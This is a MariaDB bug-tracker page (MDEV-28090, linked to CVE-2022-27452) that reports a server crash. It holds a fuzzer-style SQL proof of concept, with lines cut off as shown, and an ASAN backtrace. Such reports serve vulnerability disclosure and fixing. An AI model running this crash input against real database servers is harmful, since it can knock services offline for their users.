





MariaDB Server

MDEV-28090

# MariaDB SEGV issue

## ▼ Details

Type:	 Bug
Status:	CLOSED ( <a href="#">View Workflow</a> )
Priority:	 Major
Resolution:	Duplicate
Affects Version/s:	10.9.0
Fix Version/s:	<a href="#">N/A</a>
Component/s:	<a href="#">N/A</a>
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

## ▼ Description

PoC:

```
CREATE TABLE v0 ( v1 YEAR NULL UNIQUE KEY CHECK ( v1 NOT LIKE 'x' ) ) PARTITION BY  
ALTER TABLE v0 ADD COLUMN v0 JSON AS ( v1 MOD ! ( NOT CONCAT ( 'x' , DAYNAME ( 59  
SELECT CONCAT ( 'x' 'x' 'x' 'x' 'x' 'x' , SPACE ( 68 ) , TIME_TO_SEC ( RAND ( 'x'  
INSERT IGNORE INTO v0 SET v1 = CONCAT ( concat ( 'x' ) , SPACE ( 20 ) , ASCII ( ce  
SELECT * FROM v0 WHERE NOT 'x' IN ( '' ) ;
```



report (compiled with ASAN):

```
Thread pointer: 0x62b00015e218  
Attempting backtrace. You can use the following information to find out  
  
where mysqld died. If you see no messages after this, something went  
terribly wrong...  
stack_bottom = 0x7fed46179880 thread_stack 0x5fc00  
?:0(__interceptor_backtrace)[0x7cbadb]  
mysys/stacktrace.c:212(my_print_stacktrace)[0x2a86d37]  
sql/signal_handler.cc:0(handle_fatal_signal)[0x15af5d9]  
sigaction.c:0(__restore_rt)[0x7fed6b94a3c0]  
?:0(gsignal)[0x7fed6b57803b]  
?:0(abort)[0x7fed6b557859]  
?:0(__cxa_throw_bad_array_new_length)[0x7fed6b7ec911]  
?:0(std::rethrow_exception(std::__exception_ptr::exception_ptr))[0x7fed6b7f838
```

```
??:0(std::terminate())[0x7fed6b7f83f7]
??:0(__cxa_pure_virtual)[0x7fed6b7f9155]
??:0(Arg_comparator::compare_real())[0x16b78ba]
sql/item_cmpfunc.cc:1787(Item_func_ne::val_int())[0x16be527]
sql/item.h:1440(Item::to_longlong_hybrid())[0x178f17b]
```

## ▼ Issue Links

### duplicates

 [MDEV-24176](#) Server crashes after insert in the table with virtual column ...  **CLOSED**

### links to


 [CVE-2022-27452](#)

## ▼ Activity


There are no comments yet on this issue.

## ▼ People

Assignee:

 Unassigned

Reporter:

 Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

2 Start watching this issue

## ▼ Dates

Created:

2022-03-16 09:44

Updated:

2022-04-27 16:00

Resolved:

2022-03-21 17:44

## ▼ Git Integration

---

❗ Error rendering 'com.xiplink.jira.git.jira\_git\_plugin:git-issue-webpanel'. Please contact your Jira administrators.